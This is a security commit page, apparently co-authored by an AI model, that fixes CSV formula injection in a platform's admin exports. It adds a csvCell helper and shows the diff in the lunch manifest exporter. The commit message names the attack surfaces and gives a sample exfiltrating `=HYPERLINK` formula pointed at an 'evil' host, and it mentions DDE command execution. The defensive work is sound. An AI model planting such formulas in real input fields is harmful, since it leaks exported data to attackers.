fix(security): defang CSV formula injection in all exports
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -4,6 +4,7 @@ import { router, adminProcedure, protectedProcedure } from '../trpc'
|
||||
import { logAudit } from '../utils/audit'
|
||||
import { buildManifest, buildRecapPayload } from '../services/lunch-recap'
|
||||
import { sendLunchRecapEmail } from '@/lib/email'
|
||||
import { csvCell } from '@/lib/csv'
|
||||
|
||||
// ─── Shared zod schemas ──────────────────────────────────────────────────────
|
||||
|
||||
@@ -277,32 +278,28 @@ export const lunchRouter = router({
|
||||
.input(z.object({ programId: z.string() }))
|
||||
.query(async ({ ctx, input }) => {
|
||||
const m = await buildManifest(ctx.prisma, input.programId)
|
||||
const escape = (s: string | null | undefined) => {
|
||||
const v = s ?? ''
|
||||
return /[",\n]/.test(v) ? `"${v.replace(/"/g, '""')}"` : v
|
||||
}
|
||||
const lines = [
|
||||
'Type,Team,Name,Email,Dish,Allergens,Allergen notes',
|
||||
...m.members.map((row) =>
|
||||
[
|
||||
'Member',
|
||||
escape(row.project?.name),
|
||||
escape(row.name),
|
||||
escape(row.email),
|
||||
escape(row.dish?.name),
|
||||
escape(row.allergens.join(';')),
|
||||
escape(row.allergenOther),
|
||||
csvCell(row.project?.name),
|
||||
csvCell(row.name),
|
||||
csvCell(row.email),
|
||||
csvCell(row.dish?.name),
|
||||
csvCell(row.allergens.join(';')),
|
||||
csvCell(row.allergenOther),
|
||||
].join(','),
|
||||
),
|
||||
...m.externals.map((row) =>
|
||||
[
|
||||
'External',
|
||||
escape(row.project?.name),
|
||||
escape(row.name),
|
||||
escape(row.email),
|
||||
escape(row.dish?.name),
|
||||
escape(row.allergens.join(';')),
|
||||
escape(row.allergenOther),
|
||||
csvCell(row.project?.name),
|
||||
csvCell(row.name),
|
||||
csvCell(row.email),
|
||||
csvCell(row.dish?.name),
|
||||
csvCell(row.allergens.join(';')),
|
||||
csvCell(row.allergenOther),
|
||||
].join(','),
|
||||
),
|
||||
]
|
||||
|
||||
Reference in New Issue
Block a user